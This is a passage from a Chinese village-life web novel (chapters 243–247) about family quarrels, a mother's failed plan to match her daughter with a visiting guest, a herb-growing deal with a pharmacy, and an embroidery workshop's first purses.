你现在就安分些,好好照顾狗子哥,别再惹事了,行不行?” 刘小翠听到这话,心里稍稍舒服了点。 等她闺女当了侯府的夫人,看那老虔婆和二愣子还敢不敢欺负她,哼! 可想到自己已经离家快一个月的男人,刘小翠又忍不住难过,叹气道, “要是你爹在就好了,你这还没成亲呢,就一心光顾着狗子,将来还不知道能不能指望的上。 我可真是命苦,怎么就生了你们三个没用的丫头片子,我但凡有个儿子,也不至于会被人欺负成这样.......” 高春花听得厌烦至极,又来了,又来了,她们姊妹做的再好,还是比不过连生都没生出来的儿子。 还爹在家就好了,幸亏爹不在家,要不就今天娘干的这事,爹非得打她不可。 懒得再劝,高春花只沉声提醒道, “就算我爹在家,我姑姑那脾气上来了,谁能拦得住? 你不想挨打就老实些,别再惹她了。 也别在背后说杜家那兄妹俩的坏话了,被我姑姑知道,她饶不了你。 还有,杜衡带回来那人可是镖局的少当家,家里镖师好几十个,你不想给咱家惹祸,就把嘴闭紧些。” 高春花故意夸大了凌十三的背景,为的是警告刘小翠,别再把杜衡当成无依无靠可以任由她随意编排的孤儿。 人家有好友,好友出身还不一般,将来考上功名了前途无量。 哪知刘小翠听到这话,第一反应是那个粗眉大眼看着憨憨的小子,居然有这样的家世背景,那岂不是给她当女婿正合适? 哪怕还没享受到闺女高嫁的好处,刘小翠也对此深信不疑。 虽然她命苦生不出儿子来,但只要把闺女嫁到好人家去,她照样能跟着享福。 镖局少当家啊,要是当了她的女婿,那她在村里岂不是能横着走了? 秋花也十四岁了,到了该说亲的年纪,那小子看着比杜衡年岁还大些,不过男的嘛,大点好,大点知道疼人。 秋花长的比春花秀气,又被老刘大夫收为徒弟,跟着学了医术,跟大户人家的闺女比起来也不差了。 配那小子绰绰有余! 想到此,刘小翠不由很是着急,她得趁着那小子还在村里,赶紧让秋花在他跟前露露脸。 等那小子被她闺女迷住,主动上门求娶,看谁以后还敢小看她? 高春花提醒完就转身走了,不想再听刘小翠唠叨,也急着回去给张狗子蒸鸡蛋羹。 自然没看到刘小翠听了她的话后,脸色一变再变,最后跟发癫一样拔腿往医馆跑了去。 第二百四十三章 没得逞的计划 医馆,高秋花和高春雨正在炕上,跟刘长昆一起吃午饭。 她俩坐在刘长昆对面,自己吃一口就给刘长昆夹一口。 眼角余光还留意着刘长昆饭碗里有没有剩,只要碗一空,就立刻给他夹菜添饭。 弄的刘长昆不得不敲筷子抗议, “你们只管吃你们的,我自己会吃,不用你们伺候。” 两人这才默默收回筷子,自顾自吃了起来。 刘长昆见两个徒弟听话孝顺,心里很是满意。 姑娘家就是心细会照顾人,不像他那个大徒弟,做饭难吃也就算了,吃饭的时候把饭碗往他跟前一放就不管了,只顾着自己闷头吃。 被刘长昆念叨的刘一手,端着碗从门口闪现,一边往嘴里扒饭,一边冲屋里嚷了句, “我下午要进城看诊,晚上可能回不来,石小山那边你们多照看着点。” 还不等高秋花她们应声,刘一手就又没了影。 刘长昆忍不住抱怨, “你们这师兄以前看着好像是个人,现在整天跟个鬼一样,连个人影都见不着。” 高秋花抿唇笑了起来,高春雨也笑着哄道, “师父莫怪,自从保胎丸在城里打出了名声,请师兄看病的人就多了起来。 师兄忙成这样也是想为医馆多赚些钱,等我俩出师能看诊采药了,师兄自然就有功夫来陪师父说话了。” 刘长昆傲娇哼了声, “谁要他陪,他一天到晚少气我些,我还能多活几年呢。” 说着,拿起旁边的虎骨酒,吧咂了口。 臭小子从城里买的虎骨酒,就是不如里正送他的那坛对味儿,这年头药材涨价,泡制的药酒也打了折扣。 高秋花和高春雨见师父这样,偷偷对视一眼,都笑了起来。 院外突然传来刘小翠的大嗓门, “秋花,秋花,你出来一下,我有急事找你。” 高秋花脸上的笑容僵住,她尴尬抬起了头,看向刘长昆。 读了书认了字,懂得了礼义廉耻后,高秋花就越发觉得她娘的为人处世很有问题。 即便家中有急事,娘也应该先进来见过师父,跟师父打过招呼后,再跟自己单独说事。 哪儿有这样,连门都不进,招呼都不打,就直接在外头扯着嗓子大喊大叫的啊。 可那到底是自己的亲娘,子不言父之过,做女儿的也不能抱怨母亲的不好,她只能满怀歉意地起身下炕,给师父行了个礼。 得到师父的允准,这才走了出去。 刘小翠站在院门口,见高秋花出来,忙冲过去一把拉住了她就往外走。 高秋花吓了一跳,本能往后扥着不想走。 刘小翠骂道, “臭丫头,快跟我走,我找你真的有急事!” 说完,手上用力,不管三七二十一拖着高秋花就快步往家走。 到了家,把人拽进自己屋,刘小翠翻找出自己那件桃红色春衫,让高秋花换上。 高秋花不想换,惊慌问道, “娘,突然让我换衣服干啥? 我下午还要跟师父学做膏药呢,穿这么好的衣服弄脏了可洗不掉。” 刘小翠重重拍了高秋花一下,没好气骂道, “谁让你穿着这衣服去干活了,一会儿办完事,你就赶紧脱下来还我。 这可是你爹第一次打到野猪,从徐记给我买的布,上好的染色细棉布,一尺就得六十文呢。” 想起自己当年穿着这件衣服,被全村小媳妇羡慕嫉妒的情形,刘小翠已经爬上了皱纹的脸上,不由露出了少女般开心的笑容。 看的高秋花十分不适应,更加不想穿这件衣服了。 刘小翠见高秋花这么不听话,不由戳着她的脑袋骂。 臭丫头片子真是烂泥扶不上墙,她都舍得把这么好的衣服拿出来打扮她了,她还推三推四的。 这么好的机会要是错过了,臭丫头就等着嫁泥腿子受苦受穷一辈子吧! 高春花听到屋里的动静,忙跑了过去。 见刘小翠揪着高秋花的头发要打她,赶紧伸手阻拦,并把高秋花拖到了自己身后,瞪眼怒道, “娘,你又要干啥? 别在我姑姑那儿受点气,就冲二妹撒。” 刘小翠气坏了,叉腰骂道, “一个两个真是反了天了,都不把老娘看在眼里了是不是? 老娘一把屎一把尿把你们养大,为你们操碎了心,你们还合起伙来气我,真是一群白眼狼........” 高春花受不了了,忍不住提高嗓门打断刘小翠, “娘! 你就直说吧,你到底想干啥?为啥突然把二妹拉回来? 为啥要把你最宝贝的衣服给她穿?” 刘小翠见高春花沉着脸,一副你不说清楚我们就绝对不会配合的样子,只得把自己的打算说了出来。 高秋花听到刘小翠居然想让她去勾引杜小叔带回来的客人,难以置信,羞臊万分。 她咬着唇,强忍着涌上来的泪意,头一次强硬拒绝, “我不去,我才不要做这种事!” 说完,扭头就冲了出去。 高春花也被刘小翠气够呛,她紧紧攥着拳头,强压着怒气低吼, “你少动这些歪心思,分家的时候写的一清二楚,秋花他们的亲事全由爷奶做主! 你莫要再胡闹,也别再去医馆找二妹了,要不我就把你干的事都告诉爹,你看爹会不会生你的气。” 刘小翠很不服气,仰着下巴抬着鼻子,哼了声,不屑道, “我胡闹?要不是老娘,你跟狗子的事也成不了!” 高春花顿时像被戳破的皮球,一下子泄了气,梗着脖子扔下一句, “你再胡闹,我就去告诉我奶和我姑姑!” 便快步走了出去,背影里透露着说不出的狼狈和无奈。 刘小翠叉腰狠狠啐了一口,气咻咻骂了一通,又忍不住坐在炕上抹眼泪。 她但凡有个儿子,才不上赶着为这几个白眼狼丫头费这个劲儿呢,一个两个,一点也不懂她这个做娘的苦心。 高娇娇吃饱喝足靠在床头打着瞌睡,听着凌十三跟姚春香她们吹牛皮。 杜衡见高娇娇困的眼皮都快抬不起来了,忙招呼杜映梅帮着收拾碗筷,好腾出地方铺床让高娇娇睡的舒服一点。 却见高娇娇突然睁开了眼睛,眉头还拧成了一疙瘩,杜衡不由担心问道, “嫂嫂,怎么了?你是有哪里不舒服吗?” 高娇娇见姚春香她们都朝自己看过来,忙扯出笑脸,摆手道, “没事,就是想起二宝他们昨晚下的鱼笼好像还没拉。” “金宝哥想抓兔子,二宝哥他们几个进山去了。” 高小寒一脸羡慕说到,他也想进山抓兔子,二宝哥说他年纪太小,去不了。 凌十三一听这话激动了起来, “你们这儿还能抓兔子捞鱼呢?怎么抓?鱼笼在哪儿呢?我去拉!” “你会吗?你就去,别回头鱼没拉上来,还把鱼笼给弄坏了。” 杜映梅逮着机会就想嘲讽凌十三两句,凌十三不服气道, “你小看谁呢,小爷我四岁习武,五岁开蒙,能文能武,还能连这都不会了?” 杜映梅嫌弃的白眼翻上天,嘴都快撇到腮帮子了, “嘁,那你怎么连个童生都考不中?” 凌十三假装生气,瞪眼怒道, “不带这样的啊,怎么专门往人家心口上扎刀呢?” 说着,还夸张地捂着心口,学西施捧心状。 众人失笑,最终还是杜衡受不了这俩人吵闹,让杜映梅带凌十三去找高二宝他们去了。 杜衡见高娇娇笑眯眯看着凌十三离开,那眼神跟得逞的小狐狸似的,不由在心里嘀咕。 嫂嫂不会是烦了凌十三,故意那么说,把他给支走吧? 高娇娇确实是故意的,不过不是烦了凌十三,而是听到了高春花心里的愤懑不满,知道了刘小翠的没得逞的计划。 第二百四十四章 太过亲密 对此,高娇娇只想叹气,不怕聪明人一时疏忽,就怕蠢人灵机一动。 真是防不胜防,无法预料。 希望大哥赶紧回来,快点把刘小翠想要的大房子盖起来吧,离得远了,眼不见心不烦。 这人啊,就经不起念叨,高娇娇中午才念叨完,傍晚,高大壮就回来了。 不仅带回来了稻谷种子,还带回来了孙掌柜。 虽说交情不深,但毕竟共患难过,再加上还有杨大夫这层关系,高长天和朱钰对孙掌柜的到来,还是表示了极大的欢迎。 让姚春香做了一桌好菜,给孙掌柜接风洗尘。 杜衡也被朱钰叫来作陪,他是晚辈,年纪也小,在席间主要是帮诸位长辈端茶倒酒。 听他们你来我往,闲话家常,攀交情,彼此试探,学着酒桌上的交际。 酒过三巡,菜过五味,桌上气氛正好,孙掌柜笑着抛出话头, “早就想来看看你们了,只是我们身无分文,刚落户也是处处艰难。 我在杏林堂谋了个差事,家里才算是安稳下来,正四处打听你们的去向,恰好遇到了大壮兄弟。 真是来得早不如来得巧,我看你们这里山清水秀,土地肥沃,是种植药材的绝佳地方。 眼下药材涨价都快涨疯了,你们往地里随便种些药草,就能卖不少银子呢。” 朱钰冲高长天挑了挑眉稍,图穷匕首见,他就说姓孙的无利不起早,大老远跑来一定有所图吧。 高长天心道虽说孙掌柜别有所图,但只要是互惠互利的好事,那也没什么不好。 做人嘛,不能太计较。 杜衡察觉到高大伯和朱先生的眉眼官司,暗暗在心里琢磨。 按理说,他们把孙掌柜等人从吕阳县带出来,算是对他们有恩。 他们却选择在并州府落户,不愿意跟杨大夫一样继续跟随他们,是有点忘恩负义了。 这么久了才找过来,还是为了自己的差事想让他们帮着种药材,完全就是生意人的算计,没有多少情义。 朱先生是不大看得起这种人的,所以表现的很是客气疏离。 但高大伯好像并不生气,反倒态度始终如一,热情爽朗,不管孙掌柜怎么扯牛皮避重就轻,都认真聆听。 若论聪慧敏锐,高大伯可能不及朱先生。 但论心胸气度,朱先生还是不及高大伯。 朱先生曾说过他心思细腻,说这是好事,也是坏事。 杜衡当时不理解,心思细腻怎么也不应该是坏事吧,现在才有些明白,过于细心,有时候就是小心眼,容易钻牛角尖。 做人做事还是要大度一些,只看关键,不要太过关注细枝末节,才是真正有胸怀有智慧的大丈夫所为。 一通你来我往的试探过后,高长天答应跟孙掌柜所在的杏林堂合作种植药材。 但如何种植,怎么加工,如何收购,如何结账,还得跟杏林堂的东家立下文书,不能只听孙掌柜口头许诺。 孙掌柜有些不悦,觉得高长天这是不相信他。 杏林堂可是并州府的百年老字号,他现在是杏林堂专门负责药材采买的掌柜,要不是念在以往的交情上,他犯不着跑这么大老远跟他们做这点小买卖。 不管孙掌柜是沉下脸,还是语气不善,略带嫌弃。 高长天都不为所动,依旧一脸好脾气,笑着解释自己只是里正,没有足够的保障不可敢让村民去冒险。 种地不比别的,挣得可都是血汗钱。 孙掌柜还想再说些什么,朱钰淡淡提醒道, “孙掌柜,我们有房有地也多少有点小钱,不种药材,一样也能吃饱穿暖。 可你,眼下除了我们,大概找不出第二个愿意费心劳力去种药材的村了。 你初来乍到,想找几个稳定供货的地方,也不容易吧。” 孙掌柜的脸色顿时变得十分难看,朱钰这话说的太不客气了,就差指着他的鼻子骂他当婊子还想立牌坊了。 杜衡见桌上气氛紧张,忙笑着站起身,给众人倒酒。 孙掌柜眼珠转了转,用手指点了几下杜衡笑骂道, “这小子以前多老实,现在也学的滑溜了,看看给我倒的这酒,都满的溢出来了。” “您能来,我们都高兴着呢,这可是我高大伯珍藏的好酒,我这不也是想让您多喝点嘛。” 杜衡笑着捧了孙掌柜一句,杨大夫立刻嚷嚷杜衡偏心,把酒杯递过来让杜衡给他也满上。 陆祥昆等人纷纷跟着打趣杜蘅,桌上的气氛又重新热闹了起来。 最终,孙掌柜承诺,只要石楼村能拿出五十亩以上的地,长期种植连翘、地黄、甘草、山茱萸等药材,他就把东家带来跟他们签文书。 高长天和众人对视一眼,点头答应。 把喝的烂醉的孙掌柜送回房休息,高大壮有些发愁,小声问朱钰, “朱叔,咱们剩下的地还要种番麦和稻子呢,从哪儿再弄五十亩地种药材啊?” 朱钰捋了捋胡子,淡定道, “他们只说要五十亩地,又没说是山地还是良田,更何况比起良田,药材其实更适合种在山地上。 村后头有那么多山坡,随便找个山坡开出五十亩荒地就够种了。” 高大壮目瞪口呆,罗子几个也是面面相觑。 这么干真的能行,这不成了骗人了? 高长天也喝了不少,被杜衡搀扶着往屋里走着,听到高大壮他们的话,回头含糊不清说了句, “你们啊,咸吃萝卜淡操心,杏林堂才不管你种在哪儿呢,只要有药材收就行。 老孙啊,他就是想在新东家面前表现表现,才弄这些虚头巴脑的。” 杜衡听得心下一怔,高大伯他,原来是心里门清儿啊。 意识到长辈们个个不简单,深感受教的杜衡,揉了揉喝了酒发烫的脸,手软脚软回了自家院。 看到高娇娇屋里还亮着灯,杜衡忍不住抬脚走了过去,靠在门框上,轻轻喊了声, “嫂嫂?” 门“吱呀”一声开了,高娇娇看着斜倚在门框上的杜衡,皱了皱眉, “你喝酒了?” “一点点。” 杜衡笑着伸出两根手指比划了下,有点不好意思道, “大伯他们说让我练练酒量,就让我喝了两杯,就两杯,我没多喝。” “两杯就把你给喝成这样了,你这酒量,我看不练也罢。” 高娇娇伸出手握着杜衡手臂,把他牵进屋。 杜衡想要拒绝,这么晚了去嫂嫂屋里不合适。 可许是酒劲儿上了头,脚不听话,舌头也有点发麻,拒绝的字还没说出口,就被高娇娇拉着进了屋。 屋里油灯燃的正亮,杜映梅坐在小凳子上,正在剥藤条皮。 上午割回来的藤条,用水泡了大半天,已经泡软了,剥了皮,就能开始编筐了。 见杜衡面色潮红走路打晃,杜映梅忙放下藤条冲高娇娇道, “嫂嫂,我去厨房给我二哥煮碗醒酒汤。” “我娘肯定煮的有,你去我家看看,端一碗过来就成。” 高娇娇拦住了杜映梅,让她直接去高家端。 她娘煮的酸辣鸡蛋汤,不仅醒酒还暖胃,一碗下肚出点汗,明一早酒醒了头也不疼。 杜映梅应了声,忙跑了出去。 高娇娇让杜衡在炕上坐着歇会儿,自己拿起剥了皮的藤条试着编筐。 她没编过筐,但她记忆中有很多家里人编筐的情形,觉得自己应该能行,可实际上手,却发现困难重重。 藤条在她手里一点都不听话,编来编去都不成样子,反倒把自己累的出了一脑门子汗。 杜衡见状便过来帮忙,高娇娇见他编的像模像样,不由凑近了想看的清楚些。 杜映梅端着一碗鸡蛋汤回来,挑开门帘,看到二哥和嫂嫂并排坐在一处,肩挨肩不说,手还在一起牵着,不由当场愣住。 杜衡扭头,见杜映梅瞪着眼张着嘴,一副受到了极大惊吓的样子,愣了下,这才意识到自己和嫂嫂凑的太近,样子太过亲密了。 他急忙身子往后仰,拉开距离。 脸上已经消退的热意,顿时席卷而来,不仅烫红了他的脸,连耳根脖子都一下子红了起来。 第二百四十五章 睡不着 高娇娇不明所以,见杜衡突然撒手,还以为自己塞藤条的时候不小心挤到了他的指头,忙关切问道, “没事吧?我这手有点笨,干这种精细活儿得收着劲儿,别扭的很。” 话音刚落,好不容易塞进去的藤条又弹了出来。 可把高娇娇给郁闷坏了,扔下刚编出来个底的筐,丧气道, “我还是剥皮吧,这活儿我干不了。” 抬眼看到傻站在门口不动的杜映梅,高娇娇不解问道, “你傻站着干嘛?赶紧把汤给你二哥喝了,让他回去睡啊,你看他脸红的,酒劲儿都上头了。” 杜映梅不知所措的心,一下子淡定了。 原来二哥是在教嫂嫂编筐啊,难怪会挨的那么近,她刚才脑子一定是坏了,才会胡思乱想。 杜衡看着跟往常一般无二的高娇娇,心里有点堵得慌,觉得自己就跟那被扔在地上没编好的筐一样,对嫂嫂来说,一无是处。 这一晚,杜衡和杜映梅都有点辗转难眠。 杜衡一边唾弃自己,一边又忍不住哀怨。 趁着凌十三跑去跟高二宝他们睡一屋,不在跟前,放肆地叹了好一会儿气。 杜映梅明明不想多想的,却又忍不住一遍遍回想挑开门帘看到的那个场景。 二哥一下子变的通红的脸,不敢跟她对视睫毛乱闪的样子,都让她莫名心里发慌,翻来覆去睡不着。 只有高娇娇一如既往睡的十分香甜,还做了个大大的美梦。 梦里她编了个大大的鸡笼,小鸡长成了大鸡,一天下好些个鸡蛋,然后鸡蛋又孵出了小鸡,小鸡又长成了大鸡....... 她站在山坡上,一敲盆,一大群鸡就呼啦啦飞过来抢着吃食。 鸡蛋漫山遍野,多的怎么捡都捡不完,她坐在鸡蛋堆成的山上,看着山脚下的房屋田地牛羊,心里那叫一个舒坦。 次日一早,起床看到杜映梅眼窝发黑,高娇娇还有些奇怪。 等出了门,见杜衡也是一脸困倦哈欠连天,更觉得不对劲,忍不住小声问他, “你和小梅是怎么了?一个两个都没睡好。” 杜衡看向杜映梅,杜映梅也正看向他们,兄妹俩目光在空中撞上,慌忙移开。 杜衡微微咳了声,强自镇定道, “我想到今儿高大哥要教咱们种水稻,有点激动就睡得晚了些。” “嗐,这有什么可激动的,吃了饭去地里瞧瞧就知道了。” 高娇娇觉得好笑,没再理会这件事。 杜衡暗暗松了口气,杜映梅也偷偷拍了下自己脑袋,让自己不要再胡思乱想了。 种水稻是全村都关注的大事,等高娇娇他们过去时,高家地头上已经站满了人。 刘小翠挤在最前头,用无比崇拜的目光看着教大家如何种稻子的高大壮,今儿她男人可真是风光的很。 高大壮先说了说去并州府神庙老泉那边的所见所闻,然后拿出了他高价购买来的稻种,和他在小本子上记下的种植办法。 众人先是被从没见过的圆粒稻谷惊讶,接着又被不用弄水田更不用育苗,直接播种的种法给震惊了。 连高长天都忍不住跟高大壮再次确认, “真不用蓄水,就直接把稻谷种子种到地里就行?” “真的,爹,我在那儿待了一个月,亲眼看着人家就是这么种的。 我还下地种过呢,我种的那一块地都已经出苗了,长的可好呢。” 高大壮笑着大声说道, “人家说这个叫旱稻,跟咱们老家的水稻不一样,人家从古至今都是这么种的。 只用先把地平整好,再往地里撒一层肥料,然后把种子种下去,再盖上一层土。 浇点水,就能等着种子发芽了。” 高长天等人都觉得不可思议,但高大壮都这么说了,那就干吧。 地是早就平整好的,现在只用把排水沟挖好,再撒上肥料就能播种了。 高娇娇受不了肥料那股熏死人的臭味儿,拉着杜映梅带着高春花去了绣坊。 昨儿三嫂让二宝过来,说绣坊第一批荷包香囊已经绣好了,高娇娇打算过去看看货。 没问题的话,下午送杜衡他们回书院的时候,就一并拿去卖掉。 再买些绣线绣布绣棚什么的回来,三婶又招了十个绣娘,手上的东西不够用了。 两村合并再加上吸收了一些流民,村里报名去绣坊的小姑娘小媳妇多了不少,高娇娇估摸这么下去,要不了半年绣坊就能步入正轨开始盈利了。 除了绣坊,还有医馆那边,孙掌柜为表诚意,承诺会帮着从杏林堂里调一些药材过来。 高娇娇想着趁热打铁,别等杏林堂给他们调了,直接带着孙掌柜去杏林堂拿更快一些。 免得回头孙掌柜走了,杏林堂不认账,也省的孙掌柜只是口头承诺,回头拖拖沓沓不想兑现。 至于即将开办的其他工坊,得等地方定下来,才能确定要采买的东西,急不来。 绣坊,林巧儿正在指点高雪花等绣娘绣帕子。 从小跟着林巧儿学绣花,已经快要出师的高秋菊,正在教新收的绣娘基本针法。 见高娇娇她们过来,林巧儿忙停下手上的活儿。 让高雪花她们继续绣,自己带着高娇娇三人进了存放东西的西屋。 西屋高二壮亲手做的木架子上,摆放着绣品。 林巧儿拿过一盒摆放整齐的荷包,递给高娇娇她们。 高娇娇还好,她在城里巧慧绣坊见过各种各样的绣品,也在成衣铺子和首饰铺子里见过荷包香囊之类的配饰。 觉得这盒荷包除了样式别致外,其实绣工和布料都一般,算不得多出彩。 可高春花和杜映梅是头一回看到这样的绣品,拿起这个觉得好看的很,拿起那个也是精致小巧,真是个个都喜欢,爱不释手的很。 等到林巧儿又递过来一盒香囊,俩人全然忘了过来的目的,拿起这个闻闻,拿起那个在身上比划,恨不得自掏腰包买一个带。 看的高娇娇好笑不已,大概数了数,这两盒加起来,只有三四十个,离跟巧慧绣坊约定的一次供货五十个,还差着不少呢。 见高娇娇扭头不解看向自己,林巧儿笑着打开展架下面的柜子,取出一个小盒子。 打开,递到高娇娇面前, “这里面的十二个,是我和秋菊绣的,按照月份,绣了十二花牌。 你送去问问人家,愿不愿意当成一套来收。” 高娇娇看到这盒绣品,眼睛大亮。 这套一看就比之前的雅致了许多,不管是配色还是绣工,都不是一个级别的。 一月梅花,二月杏花,三月桃花,四月牡丹,五月石榴,六月莲花,七月蜀葵,八月桂花,九月菊花,十月木芙蓉,十一月山茶花,十二月水仙花。 每个月的荷包对应一个时节,花惟妙惟肖,底布的颜色也搭配的恰到好处,真真是上品。 “三嫂,你和秋菊的手真巧,绣的真好。 我一定想办法把这套给你们卖个高价!” 高娇娇小心翼翼把盒子收好,拒绝了好奇探头想看的高春花和杜映梅。 这俩粗手粗脚,别把这么精美的荷包给她摸坏了。 林巧儿听到高娇娇夸她们娘俩,开心地笑了起来。 辛辛苦苦绣出来的东西,能被人喜欢对于绣娘来说是再好不过的事了。 转过身,林巧儿又从柜子里摸出两个荷包,递给高娇娇道, “这个柿柿平安,是我专门给小衡绣的,多谢他帮我们画花样子。” 第二百四十六章 恶名远扬 “三嫂,你犯不着这么客气,都是自家人。” 高娇娇笑着接过荷包,想了想,问林巧儿, “三嫂,这样的荷包还有吗?能不能再给我一个,小衡带回来一个同窗好友。 那人是个善交际的,家里还开了镖局,我想这个荷包带在他身上,兴许能帮咱们绣坊招揽生意也说不定。 最近外头不太平,大家都想求平安,这个样式正好应景。” 林巧儿觉得高娇娇这个法子不错,忙道, “有是有,不过不是我绣的,是秋菊绣的,能行吗?” “行啊,那有什么不行的,她可是你一手教出来的,绣的也好得很。” 高娇娇笑着道。 林巧儿便又拿出来一个柿柿平安的荷包递给高娇娇,高娇娇带着绣品和采购清单,拉着恋恋不舍的高春花和杜映梅回了家。 吃过午饭,就要启程了。 杜衡进屋拿包袱,回来的时候背了一大包,里面是给大伯和朱叔的酒,给大娘的糕点,给嫂嫂和小梅她们的糖果。 没什么值钱的东西,用的是他在书院抄书赚的钱。 就这还被大家好一通抱怨,说他乱花钱,怕他大老远背回来累到。 走的时候,包袱又被装满了。 除了能填饱肚子,可以当夜宵的肉干,和他喜欢吃的炒咸菜,还有大娘新给他做的中衣亵裤和鞋袜。 以及嫂嫂专门给他磨的虾粉,用油炸的花生和炒熟的芝麻,混着熬制的糖稀做成的花生酥,和她攒了好些天才攒出来了一小罐银鱼干。 连小梅也费心给他煮了十个茶叶蛋,让他带着路上吃,还有刚做好的薄被子和荞麦皮枕头。 这些东西,可比他带回来的东西值钱多了。 更重要的是,她们爱护他的这份心意,让他觉得沉甸甸的。 凌十三受不了杜衡这副伤感不舍的样子了,连声催促道, “下月中旬不就又回来了?你至于这样嘛,又不是生离死别。 赶紧走吧,他们都已经套好了车,在外头等着咱们呢。” 说着,凌十三就抓起了自己同样装的满满当当的包袱,就要往外走。 可鼓鼓囊囊的包袱突然动了动,吓的凌十三差点没把包袱扔出去,也把刚准备起身的杜衡吓了一跳。 “你,你包袱里装了活物?” 杜衡指着凌十三,脸色很不好看, “你不会把那条蛇也装上了吧?” 今儿一早凌十三就跟高二宝他们又进山了,堪堪赶到吃午饭时才回来,一脸兴奋跟他说抓到一条特别好看的菜花蛇。 杜衡对此很是无语,蛇那种冷冰冰的东西,哪儿有什么美丑之分? 可凌十三那脑子一向异于常人,杜衡不怕别的,就怕这家伙脑子抽风,真把蛇给带回书院,那可就麻烦了。 凌十三连连摆手, “没,怎么会?我脑子又没坏,怎么可能带条蛇回去?” “那蛇呢?” 杜衡眯着眼,指着还在蠕动的包袱,表示不信。 凌十三叫屈不迭, “哎呀,你怎么还不信呢?我真没带,你们都不让我玩,我就,就——” “就什么?说啊!” “就跟二宝他们把蛇煮了吃了,” 凌十三有点心虚地瞟了杜衡一眼,杜衡顿时有种不太好的预感, “你中午非要塞到我碗里的那块肉?” “嘿嘿,嘿嘿嘿。” 凌十三的傻笑让杜衡抿紧了唇,这小子,真是吃饱了撑的,就爱搞些有的没的。 还骗他说是鸡肉,他还奇怪一个锅里炖出来的鸡,怎么之前那几块那么有嚼劲,这块却特别嫩。 原来是蛇肉。 他又不是不吃蛇肉,逃荒路上别说蛇了,但凡是能吃的肉他都吃过。 不过既然不是那条菜花蛇,那包袱里动来动去的是什么? 院里传来了高娇娇的喊声, “杜衡,凌十三,你们好了没?” 杜衡刚要应声,就听到包袱里传来一声奶呼呼的“喵喵”。 凌十三愣了愣,哈哈大笑起来, “原来是只猫啊,我当是什么呢。” 说着,打开包袱,揪出了罪魁祸首。 被揪住了后颈的高小黄,一动也不敢动,眨巴着无辜的圆眼镜,看着眼前把自己提起来的坏蛋。 杜衡看到包袱里露出来的带盖小木桶,不由眼前发黑,打开一看,里面还真是活的鱼虾。 杜衡心累,问凌十三, “你带这些回书院作甚?” “养啊,这可都是我亲手抓的,你别看这鱼不大,可阳光一照,那身上亮闪闪的,别提多好看了......” 凌十三一脸理所当然,说的滔滔不绝。 杜衡只想离这个憨货远一点,真亏他能想得出来,居然还要把鱼虾带回书院养,是嫌号舍里还不够乱,还是嫌招来的老鼠蟑螂不够多啊? 在杜衡绝交的威胁下,凌十三一脸不舍的把木桶还给了高二宝,让他帮忙把鱼虾倒入村外的池塘。 最后还不忘跟高二宝约着下次再一起进山打猎,他回头把自己的弓箭也拿来,争取进山打个大家伙。 这次进城的人多,除了高娇娇、杜衡、凌十三,还有刘一手,朱钰、高长天和高二壮他们几个。 高长天和朱钰要去衙门办理两村合并的事,顺便给常铁柱他们上户,再把村里已经开办和准备开办的几个作坊上报一下。 其实像绣坊、豆腐坊之类的家庭小作坊,不上报衙门也没人查。 但是像医馆、铁匠坊等重要工坊,就必须去衙门上报,才能采买药材矿石。 去的人多,要办的事也多,高长天便让高二壮他们套了马,马车赶路比驴车快。 路上要是顺利的话,半个来时辰就能赶到县城。 高娇娇看着挎着大刀背着弓箭的高二壮几人,心想,就冲他们这副打扮,再加上石楼村的恶名远扬,那些土匪和流民团伙只怕恨不得躲他们八丈远。 要不是姚春香去桥下村买鸡苗,他们都不知道现在外面都说他们原本是土匪,现在落户做了良民,但凶悍习性不改。 依旧杀人不眨眼,连打从村口经过的流民都不放过,欺男霸女,无恶不作。 这可都是桥下村的人去别的村做白事时,亲耳听人家说的。 人家说的信誓旦旦,要不是之前跟石楼村的人打过交道,他们差点都要信了。 对此,高娇娇丝毫没有要解释的打算,世道险恶,凶名在外也不是什么坏事。 不出高娇娇所料,路上行人见到他们,远远就开始避让,他们所到之处,根本没人敢靠近。 一路平安无事,顺利达到县城。 众人分开行动,高二壮赶着一辆马车,拉着高长天他们去衙门办事。 高娇娇赶着另一辆马车,送杜衡和凌十三去书院。 到了书院跟前,凌十三哼哼唧唧不想下车。 半个月就这两天假,天还没黑就回书院太亏了。 杜衡生怕耽误高娇娇办正事,恨不得一把捂住凌十三的嘴。 凌十三觉得自己已经在鱼的事上让步了,不能再在这上头被杜衡欺压,一定要勇于反抗,不能这么早就回书院受苦。 高娇娇见他俩都快打成一团了,好笑不已,想了想,跟他们商量道, “要不这样,咱们先回小院一趟,把包袱放下。 你们陪我和小刘大夫去杏林堂一趟,忙完咱们一起请孙掌柜吃顿好的,算是给他送行了。” 孙掌柜愣住, “去杏林堂?现在?” “对啊,这不是趁着你在,咱们过去打声招呼,混个脸熟,以后办事方便嘛。” 高娇娇眨巴着大眼睛,一脸无辜,好似特别理所当然。 第二百四十七章 送荷包 看的刘一手忍不住想笑,孙掌柜的脸色实在精彩的很。 杜衡知道嫂嫂这是赶鸭子上架,硬逼着孙掌柜立刻兑现承诺,孙掌柜肯定不情愿,忙打哈哈道, “我正好嗓子有点难受,听说杏林堂自制的润喉宝很管用,借孙掌柜的面子多买一点,送给夫子和同窗们。” 凌十三不明所以,还以为杜衡真就是单纯想买润喉宝,连忙道, “那行,我也去买一些备着,天天背书,我的嗓子也不太好。” 孙掌柜见他们这般,实在不好拒绝,只能带着他们去了杏林堂。 眼下药材上涨,一天一个价,杏林堂的掌柜自然不想便宜卖给同行。 孙掌柜刚加入杏林堂,根基不稳,也没什么靠山,即便不卖他这个面子,他也不敢撕破脸。 高娇娇只当看不出两人之间的斗法,一味恭维孙掌柜,赖着不走就要买药材。 杜衡也在旁边帮着添火加柴,两人把孙掌柜捧的下不来。 只得搬出少东家,强压着杏林堂的掌柜,低价卖给高娇娇他们一批药材。 拿到药材,孙掌柜生怕高娇娇再让他干什么难办的事,借口有急事,不顾高娇娇和杜衡的挽留,从杏林堂借了马,直接骑上走了。 见孙掌柜跑的飞快,高娇娇和杜衡不由相视一笑。 幸亏直接拖着孙掌柜来了杏林堂,要不然这个掌柜这么难说话,他们自己过来别想买到药材。 药材终于凑齐了,医馆可以开张了。 刘一手高兴的哪儿也不去了,就在小院里对着清单,把袋子打开,挨个查看药材品相。 接下来该去绣坊了,高娇娇想起荷包,忙掏出一个递给杜衡。 杜衡愣住,荷包这种东西,是这么随随便便就能送人的吗? 凌十三好奇,凑过来看到上面绣着红通通的柿子,和四个娟秀小字“柿柿平安”,不由赞道, “这个荷包样式挺特别的啊,字也好看,是嫂嫂亲手绣的吗?” 